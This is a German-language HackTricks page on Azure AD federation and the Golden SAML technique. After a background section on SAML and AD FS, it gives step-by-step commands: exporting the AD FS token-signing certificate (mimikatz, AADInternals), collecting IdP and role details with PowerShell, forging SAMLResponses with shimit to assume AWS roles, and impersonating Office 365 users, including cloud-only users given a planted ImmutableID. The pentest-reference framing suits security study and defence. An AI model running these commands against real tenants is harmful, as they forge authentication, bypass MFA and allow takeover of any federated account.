German - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Az - Federation

Support HackTricks

Grundinformationen

Aus den Dokumenten:Federation ist eine Sammlung von Domänen, die Vertrauen etabliert haben. Das Vertrauensniveau kann variieren, umfasst jedoch typischerweise Authentifizierung und fast immer Autorisierung. Eine typische Föderation könnte eine Anzahl von Organisationen umfassen, die Vertrauen für gemeinsamen Zugriff auf eine Reihe von Ressourcen etabliert haben.

Sie können Ihre lokale Umgebung mit Azure AD föderieren und diese Föderation für Authentifizierung und Autorisierung nutzen. Diese Anmeldemethode stellt sicher, dass alle Benutzer-Authentifizierungen lokal erfolgen. Diese Methode ermöglicht es Administratoren, rigorosere Zugriffskontrollen zu implementieren. Die Föderation mit AD FS und PingFederate ist verfügbar.

Im Grunde genommen erfolgt in der Föderation alle Authentifizierung in der lokalen Umgebung und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer auf Cloud-Anwendungen zugreifen, indem sie ihre lokalen Anmeldeinformationen verwenden.

Security Assertion Markup Language (SAML) wird verwendet, um alle Authentifizierungs- und Autorisierungs-informationen zwischen den Anbietern auszutauschen.

In jeder Föderationskonfiguration gibt es drei Parteien:

  • Benutzer oder Client

  • Identitätsanbieter (IdP)

  • Dienstanbieter (SP)

(Bilder von https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Zunächst wird eine Anwendung (Dienstanbieter oder SP, wie die AWS-Konsole oder der vSphere-Webclient) von einem Benutzer aufgerufen. Dieser Schritt kann umgangen werden, sodass der Client direkt zum IdP (Identitätsanbieter) geleitet wird, abhängig von der spezifischen Implementierung.

  2. Anschließend identifiziert der SP den geeigneten IdP (z. B. AD FS, Okta) für die Benutzer-Authentifizierung. Er erstellt dann eine SAML (Security Assertion Markup Language) AuthnRequest und leitet den Client an den gewählten IdP weiter.

  3. Der IdP übernimmt und authentifiziert den Benutzer. Nach der Authentifizierung wird eine SAMLResponse vom IdP formuliert und über den Benutzer an den SP weitergeleitet.

  4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was auf eine Vertrauensbeziehung mit dem IdP hinweist, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldeprozesses, der es dem Benutzer ermöglicht, den Dienst zu nutzen.

Wenn Sie mehr über SAML-Authentifizierung und häufige Angriffe erfahren möchten, gehen Sie zu:

Pivoting

  • AD FS ist ein auf Ansprüchen basierendes Identitätsmodell.

  • "..Ansprüche sind einfach Aussagen (zum Beispiel Name, Identität, Gruppe), die über Benutzer gemacht werden und hauptsächlich zur Autorisierung des Zugriffs auf auf Ansprüchen basierende Anwendungen verwendet werden, die überall im Internet zu finden sind."

  • Ansprüche für einen Benutzer werden in den SAML-Token geschrieben und dann vom IdP signiert, um Vertraulichkeit zu gewährleisten.

  • Ein Benutzer wird durch ImmutableID identifiziert. Es ist global eindeutig und wird in Azure AD gespeichert.

  • Die ImmutableID wird lokal als ms-DS-ConsistencyGuid für den Benutzer gespeichert und/oder kann aus der GUID des Benutzers abgeleitet werden.

  • Weitere Informationen unter https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Golden SAML-Angriff:

  • In ADFS wird die SAML Response von einem Token-Signaturzertifikat signiert.

  • Wenn das Zertifikat kompromittiert ist, ist es möglich, sich als JEDER Benutzer, der mit Azure AD synchronisiert ist, bei Azure AD zu authentifizieren!

  • Genau wie bei unserem PTA-Missbrauch hat eine Passwortänderung für einen Benutzer oder MFA keine Auswirkungen, da wir die Authentifizierungsantwort fälschen.

  • Das Zertifikat kann mit DA-Rechten vom AD FS-Server extrahiert werden und kann dann von jedem internetverbundenen Gerät verwendet werden.

  • Weitere Informationen unter https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Der Prozess, bei dem ein Identitätsanbieter (IdP) eine SAMLResponse zur Autorisierung der Benutzeranmeldung erstellt, ist von entscheidender Bedeutung. Abhängig von der spezifischen Implementierung des IdP kann die Antwort signiert oder verschlüsselt sein, wobei der private Schlüssel des IdP verwendet wird. Dieses Verfahren ermöglicht es dem Dienstanbieter (SP), die Authentizität der SAMLResponse zu bestätigen und sicherzustellen, dass sie tatsächlich von einem vertrauenswürdigen IdP ausgestellt wurde.

Eine Parallele kann zum Golden Ticket-Angriff gezogen werden, bei dem der Schlüssel, der die Identität und Berechtigungen des Benutzers authentifiziert (KRBTGT für goldene Tickets, Token-Signatur-privater Schlüssel für golden SAML), manipuliert werden kann, um ein Authentifizierungsobjekt (TGT oder SAMLResponse) zu fälschen. Dies ermöglicht die Identitätsübernahme eines beliebigen Benutzers und gewährt unbefugten Zugriff auf den SP.

Golden SAMLs bieten bestimmte Vorteile:

  • Sie können remote erstellt werden, ohne Teil der betreffenden Domäne oder Föderation zu sein.

  • Sie bleiben auch mit Zwei-Faktor-Authentifizierung (2FA) wirksam.

  • Der Token-Signatur-private Schlüssel erneuert sich nicht automatisch.

  • Das Ändern des Passworts eines Benutzers macht eine bereits generierte SAML nicht ungültig.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) ist ein Microsoft-Dienst, der den sicheren Austausch von Identitätsinformationen zwischen vertrauenswürdigen Geschäftspartnern (Föderation) erleichtert. Er ermöglicht es im Wesentlichen einem Domänendienst, Benutzeridentitäten mit anderen Dienstanbietern innerhalb einer Föderation zu teilen.

Wenn AWS der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell alle Berechtigungen in der AWS-Umgebung zu erwerben. Der Angriff erfordert den privaten Schlüssel, der zur Signierung der SAML-Objekte verwendet wird, ähnlich wie beim Bedarf des KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten.

Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen:

  • Token-Signatur-privater Schlüssel

  • IdP-Öffentliches Zertifikat

  • IdP-Name

  • Rollenname (Rolle, die übernommen werden soll)

  • Domain\Benutzername

  • Rollensitzungsname in AWS

  • Amazon-Konto-ID

Nur die fettgedruckten Elemente sind obligatorisch. Die anderen können nach Belieben ausgefüllt werden.

Um den privaten Schlüssel zu erwerben, ist der Zugriff auf das AD FS-Benutzerkonto erforderlich. Von dort aus kann der private Schlüssel aus dem persönlichen Speicher exportiert werden, indem Tools wie mimikatz verwendet werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Mit all den Informationen ist es möglich, eine gültige SAMLResponse als den Benutzer, den Sie impersonieren möchten, mithilfe von shimit** zu vergessen:**

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> cloud

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Es ist auch möglich, ImmutableID von nur Cloud-Benutzern zu erstellen und sich als diese auszugeben.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Referenzen

Unterstützen Sie HackTricks
PreviousAz - Cloud Kerberos TrustNextAz - PHS - Password Hash Sync

Last updated